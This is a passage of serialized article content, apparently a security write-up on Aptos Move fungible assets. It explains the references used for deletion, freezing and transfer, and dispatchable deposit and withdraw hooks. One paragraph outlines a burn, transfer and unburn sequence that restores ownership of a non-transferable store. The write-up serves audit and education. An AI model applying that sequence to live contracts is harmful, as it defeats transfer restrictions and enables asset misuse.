LinearTransferRef",{"type":23,"tag":41,"props":64929,"children":64930},{"style":70},[64931],{"type":28,"value":970},{"type":23,"tag":41,"props":64933,"children":64934},{"style":858},[64935],{"type":28,"value":32721},{"type":23,"tag":41,"props":64937,"children":64938},{"style":170},[64939],{"type":28,"value":1474},{"type":23,"tag":41,"props":64941,"children":64942},{"style":858},[64943],{"type":28,"value":6248},{"type":23,"tag":41,"props":64945,"children":64946},{"style":70},[64947],{"type":28,"value":866},{"type":23,"tag":41,"props":64949,"children":64950},{"style":858},[64951],{"type":28,"value":6342},{"type":23,"tag":41,"props":64953,"children":64954},{"style":94},[64955],{"type":28,"value":63969},{"type":23,"tag":41,"props":64957,"children":64958},{"style":70},[64959],{"type":28,"value":102},{"type":23,"tag":41,"props":64961,"children":64962},{"class":43,"line":54},[64963,64967,64971,64975,64979,64983,64988,64992,64996,65000,65004,65008,65012,65016],{"type":23,"tag":41,"props":64964,"children":64965},{"style":114},[64966],{"type":28,"value":62339},{"type":23,"tag":41,"props":64968,"children":64969},{"style":70},[64970],{"type":28,"value":1737},{"type":23,"tag":41,"props":64972,"children":64973},{"style":170},[64974],{"type":28,"value":2630},{"type":23,"tag":41,"props":64976,"children":64977},{"style":858},[64978],{"type":28,"value":6703},{"type":23,"tag":41,"props":64980,"children":64981},{"style":70},[64982],{"type":28,"value":1012},{"type":23,"tag":41,"props":64984,"children":64985},{"style":94},[64986],{"type":28,"value":64987},"Untransferable",{"type":23,"tag":41,"props":64989,"children":64990},{"style":70},[64991],{"type":28,"value":7610},{"type":23,"tag":41,"props":64993,"children":64994},{"style":64},[64995],{"type":28,"value":63332},{"type":23,"tag":41,"props":64997,"children":64998},{"style":170},[64999],{"type":28,"value":706},{"type":23,"tag":41,"props":65001,"children":65002},{"style":64},[65003],{"type":28,"value":13708},{"type":23,"tag":41,"props":65005,"children":65006},{"style":70},[65007],{"type":28,"value":62928},{"type":23,"tag":41,"props":65009,"children":65010},{"style":170},[65011],{"type":28,"value":3479},{"type":23,"tag":41,"props":65013,"children":65014},{"style":114},[65015],{"type":28,"value":63814},{"type":23,"tag":41,"props":65017,"children":65018},{"style":70},[65019],{"type":28,"value":65020},"(ENOT_MOVABLE));\n",{"type":23,"tag":41,"props":65022,"children":65023},{"class":43,"line":76},[65024,65028,65032,65036,65040,65044,65048,65052,65056,65060,65064],{"type":23,"tag":41,"props":65025,"children":65026},{"style":64},[65027],{"type":28,"value":3002},{"type":23,"tag":41,"props":65029,"children":65030},{"style":858},[65031],{"type":28,"value":62489},{"type":23,"tag":41,"props":65033,"children":65034},{"style":170},[65035],{"type":28,"value":3017},{"type":23,"tag":41,"props":65037,"children":65038},{"style":858},[65039],{"type":28,"value":7596},{"type":23,"tag":41,"props":65041,"children":65042},{"style":70},[65043],{"type":28,"value":1012},{"type":23,"tag":41,"props":65045,"children":65046},{"style":94},[65047],{"type":28,"value":64464},{"type":23,"tag":41,"props":65049,"children":65050},{"style":70},[65051],{"type":28,"value":7610},{"type":23,"tag":41,"props":65053,"children":65054},{"style":64},[65055],{"type":28,"value":63332},{"type":23,"tag":41,"props":65057,"children":65058},{"style":170},[65059],{"type":28,"value":706},{"type":23,"tag":41,"props":65061,"children":65062},{"style":64},[65063],{"type":28,"value":13708},{"type":23,"tag":41,"props":65065,"children":65066},{"style":70},[65067],{"type":28,"value":3825},{"type":23,"tag":41,"props":65069,"children":65070},{"class":43,"line":85},[65071,65075],{"type":23,"tag":41,"props":65072,"children":65073},{"style":114},[65074],{"type":28,"value":62339},{"type":23,"tag":41,"props":65076,"children":65077},{"style":70},[65078],{"type":28,"value":3461},{"type":23,"tag":41,"props":65080,"children":65081},{"class":43,"line":105},[65082,65087,65091,65096,65100,65105,65109],{"type":23,"tag":41,"props":65083,"children":65084},{"style":858},[65085],{"type":28,"value":65086},"        object",{"type":23,"tag":41,"props":65088,"children":65089},{"style":170},[65090],{"type":28,"value":706},{"type":23,"tag":41,"props":65092,"children":65093},{"style":70},[65094],{"type":28,"value":65095},"owner ",{"type":23,"tag":41,"props":65097,"children":65098},{"style":170},[65099],{"type":28,"value":387},{"type":23,"tag":41,"props":65101,"children":65102},{"style":64},[65103],{"type":28,"value":65104}," ref",{"type":23,"tag":41,"props":65106,"children":65107},{"style":170},[65108],{"type":28,"value":706},{"type":23,"tag":41,"props":65110,"children":65111},{"style":70},[65112],{"type":28,"value":65113},"owner,\n",{"type":23,"tag":41,"props":65115,"children":65116},{"class":43,"line":155},[65117,65122,65126,65130],{"type":23,"tag":41,"props":65118,"children":65119},{"style":70},[65120],{"type":28,"value":65121},"        error",{"type":23,"tag":41,"props":65123,"children":65124},{"style":170},[65125],{"type":28,"value":3479},{"type":23,"tag":41,"props":65127,"children":65128},{"style":114},[65129],{"type":28,"value":63814},{"type":23,"tag":41,"props":65131,"children":65132},{"style":70},[65133],{"type":28,"value":64498},{"type":23,"tag":41,"props":65135,"children":65136},{"class":43,"line":186},[65137],{"type":23,"tag":41,"props":65138,"children":65139},{"style":70},[65140],{"type":28,"value":43649},{"type":23,"tag":41,"props":65142,"children":65143},{"class":43,"line":195},[65144],{"type":23,"tag":41,"props":65145,"children":65146},{"style":70},[65147],{"type":28,"value":1589},{"type":23,"tag":41,"props":65149,"children":65150},{"class":43,"line":905},[65151,65155,65159],{"type":23,"tag":41,"props":65152,"children":65153},{"style":70},[65154],{"type":28,"value":62713},{"type":23,"tag":41,"props":65156,"children":65157},{"style":170},[65158],{"type":28,"value":9589},{"type":23,"tag":41,"props":65160,"children":65161},{"style":70},[65162],{"type":28,"value":11769},{"type":23,"tag":41,"props":65164,"children":65165},{"class":43,"line":922},[65166],{"type":23,"tag":41,"props":65167,"children":65168},{"style":70},[65169],{"type":28,"value":1589},{"type":23,"tag":41,"props":65171,"children":65172},{"class":43,"line":930},[65173,65177,65181,65185,65189,65194],{"type":23,"tag":41,"props":65174,"children":65175},{"style":858},[65176],{"type":28,"value":64821},{"type":23,"tag":41,"props":65178,"children":65179},{"style":170},[65180],{"type":28,"value":706},{"type":23,"tag":41,"props":65182,"children":65183},{"style":70},[65184],{"type":28,"value":65095},{"type":23,"tag":41,"props":65186,"children":65187},{"style":170},[65188],{"type":28,"value":2381},{"type":23,"tag":41,"props":65190,"children":65191},{"style":858},[65192],{"type":28,"value":65193}," to",{"type":23,"tag":41,"props":65195,"children":65196},{"style":70},[65197],{"type":28,"value":183},{"type":23,"tag":41,"props":65199,"children":65200},{"class":43,"line":939},[65201],{"type":23,"tag":41,"props":65202,"children":65203},{"style":70},[65204],{"type":28,"value":201},{"type":23,"tag":24,"props":65206,"children":65207},{},[65208,65210,65215,65217,65222],{"type":28,"value":65209},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":37,"props":65211,"children":65213},{"className":65212},[],[65214],{"type":28,"value":63867},{"type":28,"value":65216},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":37,"props":65218,"children":65220},{"className":65219},[],[65221],{"type":28,"value":7145},{"type":28,"value":65223}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":546,"props":65225,"children":65227},{"id":65226},"references",[65228],{"type":28,"value":65229},"References",{"type":23,"tag":24,"props":65231,"children":65232},{},[65233,65238,65240,65246,65248,65253,65255,65260],{"type":23,"tag":37,"props":65234,"children":65236},{"className":65235},[],[65237],{"type":28,"value":65229},{"type":28,"value":65239}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":37,"props":65241,"children":65243},{"className":65242},[],[65244],{"type":28,"value":65245},"Refs",{"type":28,"value":65247}," are based on the ",{"type":23,"tag":37,"props":65249,"children":65251},{"className":65250},[],[65252],{"type":28,"value":48845},{"type":28,"value":65254}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":37,"props":65256,"children":65258},{"className":65257},[],[65259],{"type":28,"value":48845},{"type":28,"value":65261}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":65263,"children":65264},{},[65265,65267,65272,65274,65279,65280,65286,65288,65293,65295,65300],{"type":28,"value":65266},"Let's get back to the ",{"type":23,"tag":37,"props":65268,"children":65270},{"className":65269},[],[65271],{"type":28,"value":62071},{"type":28,"value":65273}," deletion example. Both ",{"type":23,"tag":37,"props":65275,"children":65277},{"className":65276},[],[65278],{"type":28,"value":63356},{"type":28,"value":1361},{"type":23,"tag":37,"props":65281,"children":65283},{"className":65282},[],[65284],{"type":28,"value":65285},"fungible_asset::remove_store",{"type":28,"value":65287}," use the same object-specific ",{"type":23,"tag":37,"props":65289,"children":65291},{"className":65290},[],[65292],{"type":28,"value":63288},{"type":28,"value":65294}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":37,"props":65296,"children":65298},{"className":65297},[],[65299],{"type":28,"value":63288},{"type":28,"value":65301}," for fungible assets.",{"type":23,"tag":31,"props":65303,"children":65304},{"className":2982,"code":63238,"language":2981,"meta":7,"style":7},[65305],{"type":23,"tag":37,"props":65306,"children":65307},{"__ignoreMap":7},[65308,65315,65354,65361,65368],{"type":23,"tag":41,"props":65309,"children":65310},{"class":43,"line":44},[65311],{"type":23,"tag":41,"props":65312,"children":65313},{"style":48},[65314],{"type":28,"value":63250},{"type":23,"tag":41,"props":65316,"children":65317},{"class":43,"line":54},[65318,65322,65326,65330,65334,65338,65342,65346,65350],{"type":23,"tag":41,"props":65319,"children":65320},{"style":858},[65321],{"type":28,"value":127},{"type":23,"tag":41,"props":65323,"children":65324},{"style":858},[65325],{"type":28,"value":6205},{"type":23,"tag":41,"props":65327,"children":65328},{"style":114},[65329],{"type":28,"value":63266},{"type":23,"tag":41,"props":65331,"children":65332},{"style":70},[65333],{"type":28,"value":1737},{"type":23,"tag":41,"props":65335,"children":65336},{"style":858},[65337],{"type":28,"value":63275},{"type":23,"tag":41,"props":65339,"children":65340},{"style":170},[65341],{"type":28,"value":1474},{"type":23,"tag":41,"props":65343,"children":65344},{"style":170},[65345],{"type":28,"value":7140},{"type":23,"tag":41,"props":65347,"children":65348},{"style":94},[65349],{"type":28,"value":63288},{"type":23,"tag":41,"props":65351,"children":65352},{"style":70},[65353],{"type":28,"value":1969},{"type":23,"tag":41,"props":65355,"children":65356},{"class":43,"line":76},[65357],{"type":23,"tag":41,"props":65358,"children":65359},{"emptyLinePlaceholder":18},[65360],{"type":28,"value":82},{"type":23,"tag":41,"props":65362,"children":65363},{"class":43,"line":85},[65364],{"type":23,"tag":41,"props":65365,"children":65366},{"style":48},[65367],{"type":28,"value":63307},{"type":23,"tag":41,"props":65369,"children":65370},{"class":43,"line":105},[65371,65375,65379,65383,65387,65391,65395,65399],{"type":23,"tag":41,"props":65372,"children":65373},{"style":858},[65374],{"type":28,"value":127},{"type":23,"tag":41,"props":65376,"children":65377},{"style":858},[65378],{"type":28,"value":6205},{"type":23,"tag":41,"props":65380,"children":65381},{"style":114},[65382],{"type":28,"value":63323},{"type":23,"tag":41,"props":65384,"children":65385},{"style":70},[65386],{"type":28,"value":1737},{"type":23,"tag":41,"props":65388,"children":65389},{"style":64},[65390],{"type":28,"value":63332},{"type":23,"tag":41,"props":65392,"children":65393},{"style":170},[65394],{"type":28,"value":1474},{"type":23,"tag":41,"props":65396,"children":65397},{"style":94},[65398],{"type":28,"value":63341},{"type":23,"tag":41,"props":65400,"children":65401},{"style":70},[65402],{"type":28,"value":1969},{"type":23,"tag":24,"props":65404,"children":65405},{},[65406,65408,65413,65415,65421],{"type":28,"value":65407},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":37,"props":65409,"children":65411},{"className":65410},[],[65412],{"type":28,"value":62071},{"type":28,"value":65414}," is toggled using a ",{"type":23,"tag":37,"props":65416,"children":65418},{"className":65417},[],[65419],{"type":28,"value":65420},"TransferRef",{"type":28,"value":65422},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":31,"props":65424,"children":65426},{"className":2982,"code":65425,"language":2981,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[65427],{"type":23,"tag":37,"props":65428,"children":65429},{"__ignoreMap":7},[65430,65466,65490,65517,65536],{"type":23,"tag":41,"props":65431,"children":65432},{"class":43,"line":44},[65433,65437,65441,65446,65450,65454,65458,65462],{"type":23,"tag":41,"props":65434,"children":65435},{"style":858},[65436],{"type":28,"value":127},{"type":23,"tag":41,"props":65438,"children":65439},{"style":858},[65440],{"type":28,"value":6205},{"type":23,"tag":41,"props":65442,"children":65443},{"style":858},[65444],{"type":28,"value":65445}," set_frozen_flag",{"type":23,"tag":41,"props":65447,"children":65448},{"style":70},[65449],{"type":28,"value":1012},{"type":23,"tag":41,"props":65451,"children":65452},{"style":94},[65453],{"type":28,"value":1634},{"type":23,"tag":41,"props":65455,"children":65456},{"style":170},[65457],{"type":28,"value":1474},{"type":23,"tag":41,"props":65459,"children":65460},{"style":858},[65461],{"type":28,"value":5931},{"type":23,"tag":41,"props":65463,"children":65464},{"style":70},[65465],{"type":28,"value":6587},{"type":23,"tag":41,"props":65467,"children":65468},{"class":43,"line":54},[65469,65474,65478,65482,65486],{"type":23,"tag":41,"props":65470,"children":65471},{"style":64},[65472],{"type":28,"value":65473},"    ref",{"type":23,"tag":41,"props":65475,"children":65476},{"style":170},[65477],{"type":28,"value":1474},{"type":23,"tag":41,"props":65479,"children":65480},{"style":170},[65481],{"type":28,"value":7140},{"type":23,"tag":41,"props":65483,"children":65484},{"style":94},[65485],{"type":28,"value":65420},{"type":23,"tag":41,"props":65487,"children":65488},{"style":70},[65489],{"type":28,"value":3506},{"type":23,"tag":41,"props":65491,"children":65492},{"class":43,"line":76},[65493,65497,65501,65505,65509,65513],{"type":23,"tag":41,"props":65494,"children":65495},{"style":858},[65496],{"type":28,"value":29410},{"type":23,"tag":41,"props":65498,"children":65499},{"style":170},[65500],{"type":28,"value":1474},{"type":23,"tag":41,"props":65502,"children":65503},{"style":94},[65504],{"type":28,"value":61558},{"type":23,"tag":41,"props":65506,"children":65507},{"style":70},[65508],{"type":28,"value":1012},{"type":23,"tag":41,"props":65510,"children":65511},{"style":94},[65512],{"type":28,"value":1634},{"type":23,"tag":41,"props":65514,"children":65515},{"style":70},[65516],{"type":28,"value":6136},{"type":23,"tag":41,"props":65518,"children":65519},{"class":43,"line":85},[65520,65524,65528,65532],{"type":23,"tag":41,"props":65521,"children":65522},{"style":858},[65523],{"type":28,"value":61210},{"type":23,"tag":41,"props":65525,"children":65526},{"style":170},[65527],{"type":28,"value":1474},{"type":23,"tag":41,"props":65529,"children":65530},{"style":94},[65531],{"type":28,"value":12047},{"type":23,"tag":41,"props":65533,"children":65534},{"style":70},[65535],{"type":28,"value":3506},{"type":23,"tag":41,"props":65537,"children":65538},{"class":43,"line":105},[65539],{"type":23,"tag":41,"props":65540,"children":65541},{"style":70},[65542],{"type":28,"value":1969},{"type":23,"tag":24,"props":65544,"children":65545},{},[65546,65547,65552,65553,65558],{"type":28,"value":16601},{"type":23,"tag":37,"props":65548,"children":65550},{"className":65549},[],[65551],{"type":28,"value":48845},{"type":28,"value":6456},{"type":23,"tag":37,"props":65554,"children":65556},{"className":65555},[],[65557],{"type":28,"value":65420},{"type":28,"value":65559}," is used to transfer object ownership:",{"type":23,"tag":31,"props":65561,"children":65563},{"className":2982,"code":65562,"language":2981,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[65564],{"type":23,"tag":37,"props":65565,"children":65566},{"__ignoreMap":7},[65567,65575,65608,65627],{"type":23,"tag":41,"props":65568,"children":65569},{"class":43,"line":44},[65570],{"type":23,"tag":41,"props":65571,"children":65572},{"style":48},[65573],{"type":28,"value":65574},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":41,"props":65576,"children":65577},{"class":43,"line":54},[65578,65582,65587,65591,65596,65600,65604],{"type":23,"tag":41,"props":65579,"children":65580},{"style":64},[65581],{"type":28,"value":9399},{"type":23,"tag":41,"props":65583,"children":65584},{"style":94},[65585],{"type":28,"value":65586}," TransferRef",{"type":23,"tag":41,"props":65588,"children":65589},{"style":858},[65590],{"type":28,"value":9408},{"type":23,"tag":41,"props":65592,"children":65593},{"style":858},[65594],{"type":28,"value":65595}," drop",{"type":23,"tag":41,"props":65597,"children":65598},{"style":70},[65599],{"type":28,"value":970},{"type":23,"tag":41,"props":65601,"children":65602},{"style":858},[65603],{"type":28,"value":5940},{"type":23,"tag":41,"props":65605,"children":65606},{"style":70},[65607],{"type":28,"value":102},{"type":23,"tag":41,"props":65609,"children":65610},{"class":43,"line":76},[65611,65615,65619,65623],{"type":23,"tag":41,"props":65612,"children":65613},{"style":64},[65614],{"type":28,"value":20773},{"type":23,"tag":41,"props":65616,"children":65617},{"style":170},[65618],{"type":28,"value":1474},{"type":23,"tag":41,"props":65620,"children":65621},{"style":858},[65622],{"type":28,"value":6248},{"type":23,"tag":41,"props":65624,"children":65625},{"style":70},[65626],{"type":28,"value":3506},{"type":23,"tag":41,"props":65628,"children":65629},{"class":43,"line":85},[65630],{"type":23,"tag":41,"props":65631,"children":65632},{"style":70},[65633],{"type":28,"value":201},{"type":23,"tag":24,"props":65635,"children":65636},{},[65637,65639,65644],{"type":28,"value":65638},"While the fungible asset's ",{"type":23,"tag":37,"props":65640,"children":65642},{"className":65641},[],[65643],{"type":28,"value":65420},{"type":28,"value":65645}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":31,"props":65647,"children":65649},{"className":2982,"code":65648,"language":2981,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[65650],{"type":23,"tag":37,"props":65651,"children":65652},{"__ignoreMap":7},[65653,65661,65669,65700,65727],{"type":23,"tag":41,"props":65654,"children":65655},{"class":43,"line":44},[65656],{"type":23,"tag":41,"props":65657,"children":65658},{"style":48},[65659],{"type":28,"value":65660},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":41,"props":65662,"children":65663},{"class":43,"line":54},[65664],{"type":23,"tag":41,"props":65665,"children":65666},{"style":48},[65667],{"type":28,"value":65668},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":41,"props":65670,"children":65671},{"class":43,"line":76},[65672,65676,65680,65684,65688,65692,65696],{"type":23,"tag":41,"props":65673,"children":65674},{"style":64},[65675],{"type":28,"value":9399},{"type":23,"tag":41,"props":65677,"children":65678},{"style":94},[65679],{"type":28,"value":65586},{"type":23,"tag":41,"props":65681,"children":65682},{"style":858},[65683],{"type":28,"value":9408},{"type":23,"tag":41,"props":65685,"children":65686},{"style":858},[65687],{"type":28,"value":65595},{"type":23,"tag":41,"props":65689,"children":65690},{"style":70},[65691],{"type":28,"value":970},{"type":23,"tag":41,"props":65693,"children":65694},{"style":858},[65695],{"type":28,"value":5940},{"type":23,"tag":41,"props":65697,"children":65698},{"style":70},[65699],{"type":28,"value":102},{"type":23,"tag":41,"props":65701,"children":65702},{"class":43,"line":85},[65703,65707,65711,65715,65719,65723],{"type":23,"tag":41,"props":65704,"children":65705},{"style":858},[65706],{"type":28,"value":61549},{"type":23,"tag":41,"props":65708,"children":65709},{"style":170},[65710],{"type":28,"value":1474},{"type":23,"tag":41,"props":65712,"children":65713},{"style":94},[65714],{"type":28,"value":61558},{"type":23,"tag":41,"props":65716,"children":65717},{"style":70},[65718],{"type":28,"value":1012},{"type":23,"tag":41,"props":65720,"children":65721},{"style":94},[65722],{"type":28,"value":61567},{"type":23,"tag":41,"props":65724,"children":65725},{"style":70},[65726],{"type":28,"value":773},{"type":23,"tag":41,"props":65728,"children":65729},{"class":43,"line":105},[65730],{"type":23,"tag":41,"props":65731,"children":65732},{"style":70},[65733],{"type":28,"value":201},{"type":23,"tag":24,"props":65735,"children":65736},{},[65737,65739,65745,65747,65753],{"type":28,"value":65738},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":37,"props":65740,"children":65742},{"className":65741},[],[65743],{"type":28,"value":65744},"MintRef",{"type":28,"value":65746}," for minting and ",{"type":23,"tag":37,"props":65748,"children":65750},{"className":65749},[],[65751],{"type":28,"value":65752},"BurnRef",{"type":28,"value":65754}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":446,"props":65756,"children":65758},{"id":65757},"dispatchable-fungible-assets",[65759],{"type":28,"value":65760},"Dispatchable fungible assets",{"type":23,"tag":24,"props":65762,"children":65763},{},[65764],{"type":28,"value":65765},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":65767,"children":65768},{},[65769],{"type":28,"value":65770},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":65772,"props":65773,"children":65774},"warning",{},[65775],{"type":23,"tag":24,"props":65776,"children":65777},{},[65778,65780,65786],{"type":28,"value":65779},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":37,"props":65781,"children":65783},{"className":65782},[],[65784],{"type":28,"value":65785},"transfer_assert_minimum_deposit",{"type":28,"value":65787}," that can help mitigate such risks.",{"type":23,"tag":24,"props":65789,"children":65790},{},[65791,65793,65798,65800,65807],{"type":28,"value":65792},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":37,"props":65794,"children":65796},{"className":65795},[],[65797],{"type":28,"value":127},{"type":28,"value":65799}," to ensure ",{"type":23,"tag":458,"props":65801,"children":65804},{"href":65802,"rel":65803},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[462],[65805],{"type":28,"value":65806},"their signature remains immutable",{"type":28,"value":65808},". An example implementation might look like this:",{"type":23,"tag":31,"props":65810,"children":65812},{"className":2982,"code":65811,"language":2981,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[65813],{"type":23,"tag":37,"props":65814,"children":65815},{"__ignoreMap":7},[65816,65852,65879,65898,65922,65941,65949,65995,66002,66009,66045,66072,66092,66115,66122,66129,66173],{"type":23,"tag":41,"props":65817,"children":65818},{"class":43,"line":44},[65819,65823,65827,65832,65836,65840,65844,65848],{"type":23,"tag":41,"props":65820,"children":65821},{"style":858},[65822],{"type":28,"value":127},{"type":23,"tag":41,"props":65824,"children":65825},{"style":858},[65826],{"type":28,"value":6205},{"type":23,"tag":41,"props":65828,"children":65829},{"style":858},[65830],{"type":28,"value":65831}," withdraw_hook",{"type":23,"tag":41,"props":65833,"children":65834},{"style":70},[65835],{"type":28,"value":1012},{"type":23,"tag":41,"props":65837,"children":65838},{"style":94},[65839],{"type":28,"value":1634},{"type":23,"tag":41,"props":65841,"children":65842},{"style":170},[65843],{"type":28,"value":1474},{"type":23,"tag":41,"props":65845,"children":65846},{"style":858},[65847],{"type":28,"value":5931},{"type":23,"tag":41,"props":65849,"children":65850},{"style":70},[65851],{"type":28,"value":6587},{"type":23,"tag":41,"props":65853,"children":65854},{"class":43,"line":54},[65855,65859,65863,65867,65871,65875],{"type":23,"tag":41,"props":65856,"children":65857},{"style":858},[65858],{"type":28,"value":29410},{"type":23,"tag":41,"props":65860,"children":65861},{"style":170},[65862],{"type":28,"value":1474},{"type":23,"tag":41,"props":65864,"children":65865},{"style":94},[65866],{"type":28,"value":61558},{"type":23,"tag":41,"props":65868,"children":65869},{"style":70},[65870],{"type":28,"value":1012},{"type":23,"tag":41,"props":65872,"children":65873},{"style":94},[65874],{"type":28,"value":1634},{"type":23,"tag":41,"props":65876,"children":65877},{"style":70},[65878],{"type":28,"value":6136},{"type":23,"tag":41,"props":65880,"children":65881},{"class":43,"line":76},[65882,65886,65890,65894],{"type":23,"tag":41,"props":65883,"children":65884},{"style":858},[65885],{"type":28,"value":61579},{"type":23,"tag":41,"props":65887,"children":65888},{"style":170},[65889],{"type":28,"value":1474},{"type":23,"tag":41,"props":65891,"children":65892},{"style":94},[65893],{"type":28,"value":5860},{"type":23,"tag":41,"props":65895,"children":65896},{"style":70},[65897],{"type":28,"value":3506},{"type":23,"tag":41,"props":65899,"children":65900},{"class":43,"line":85},[65901,65906,65910,65914,65918],{"type":23,"tag":41,"props":65902,"children":65903},{"style":858},[65904],{"type":28,"value":65905},"    transfer_ref",{"type":23,"tag":41,"props":65907,"children":65908},{"style":170},[65909],{"type":28,"value":1474},{"type":23,"tag":41,"props":65911,"children":65912},{"style":170},[65913],{"type":28,"value":7140},{"type":23,"tag":41,"props":65915,"children":65916},{"style":94},[65917],{"type":28,"value":65420},{"type":23,"tag":41,"props":65919,"children":65920},{"style":70},[65921],{"type":28,"value":3506},{"type":23,"tag":41,"props":65923,"children":65924},{"class":43,"line":105},[65925,65929,65933,65937],{"type":23,"tag":41,"props":65926,"children":65927},{"style":70},[65928],{"type":28,"value":2678},{"type":23,"tag":41,"props":65930,"children":65931},{"style":170},[65932],{"type":28,"value":1474},{"type":23,"tag":41,"props":65934,"children":65935},{"style":94},[65936],{"type":28,"value":61537},{"type":23,"tag":41,"props":65938,"children":65939},{"style":70},[65940],{"type":28,"value":102},{"type":23,"tag":41,"props":65942,"children":65943},{"class":43,"line":155},[65944],{"type":23,"tag":41,"props":65945,"children":65946},{"style":48},[65947],{"type":28,"value":65948},"    //check paused, gather fees etc.\n",{"type":23,"tag":41,"props":65950,"children":65951},{"class":43,"line":186},[65952,65957,65961,65966,65970,65975,65979,65983,65987,65991],{"type":23,"tag":41,"props":65953,"children":65954},{"style":70},[65955],{"type":28,"value":65956},"    fungible_asset",{"type":23,"tag":41,"props":65958,"children":65959},{"style":170},[65960],{"type":28,"value":3479},{"type":23,"tag":41,"props":65962,"children":65963},{"style":114},[65964],{"type":28,"value":65965},"withdraw_with_ref",{"type":23,"tag":41,"props":65967,"children":65968},{"style":70},[65969],{"type":28,"value":1737},{"type":23,"tag":41,"props":65971,"children":65972},{"style":858},[65973],{"type":28,"value":65974},"transfer_ref",{"type":23,"tag":41,"props":65976,"children":65977},{"style":70},[65978],{"type":28,"value":970},{"type":23,"tag":41,"props":65980,"children":65981},{"style":858},[65982],{"type":28,"value":5940},{"type":23,"tag":41,"props":65984,"children":65985},{"style":70},[65986],{"type":28,"value":970},{"type":23,"tag":41,"props":65988,"children":65989},{"style":858},[65990],{"type":28,"value":20295},{"type":23,"tag":41,"props":65992,"children":65993},{"style":70},[65994],{"type":28,"value":1969},{"type":23,"tag":41,"props":65996,"children":65997},{"class":43,"line":195},[65998],{"type":23,"tag":41,"props":65999,"children":66000},{"style":70},[66001],{"type":28,"value":201},{"type":23,"tag":41,"props":66003,"children":66004},{"class":43,"line":905},[66005],{"type":23,"tag":41,"props":66006,"children":66007},{"emptyLinePlaceholder":18},[66008],{"type":28,"value":82},{"type":23,"tag":41,"props":66010,"children":66011},{"class":43,"line":922},[66012,66016,66020,66025,66029,66033,66037,66041],{"type":23,"tag":41,"props":66013,"children":66014},{"style":858},[66015],{"type":28,"value":127},{"type":23,"tag":41,"props":66017,"children":66018},{"style":858},[66019],{"type":28,"value":6205},{"type":23,"tag":41,"props":66021,"children":66022},{"style":858},[66023],{"type":28,"value":66024}," deposit_hook",{"type":23,"tag":41,"props":66026,"children":66027},{"style":70},[66028],{"type":28,"value":1012},{"type":23,"tag":41,"props":66030,"children":66031},{"style":94},[66032],{"type":28,"value":1634},{"type":23,"tag":41,"props":66034,"children":66035},{"style":170},[66036],{"type":28,"value":1474},{"type":23,"tag":41,"props":66038,"children":66039},{"style":858},[66040],{"type":28,"value":5931},{"type":23,"tag":41,"props":66042,"children":66043},{"style":70},[66044],{"type":28,"value":6587},{"type":23,"tag":41,"props":66046,"children":66047},{"class":43,"line":930},[66048,66052,66056,66060,66064,66068],{"type":23,"tag":41,"props":66049,"children":66050},{"style":858},[66051],{"type":28,"value":29410},{"type":23,"tag":41,"props":66053,"children":66054},{"style":170},[66055],{"type":28,"value":1474},{"type":23,"tag":41,"props":66057,"children":66058},{"style":94},[66059],{"type":28,"value":61558},{"type":23,"tag":41,"props":66061,"children":66062},{"style":70},[66063],{"type":28,"value":1012},{"type":23,"tag":41,"props":66065,"children":66066},{"style":94},[66067],{"type":28,"value":1634},{"type":23,"tag":41,"props":66069,"children":66070},{"style":70},[66071],{"type":28,"value":6136},{"type":23,"tag":41,"props":66073,"children":66074},{"class":43,"line":939},[66075,66080,66084,66088],{"type":23,"tag":41,"props":66076,"children":66077},{"style":858},[66078],{"type":28,"value":66079},"    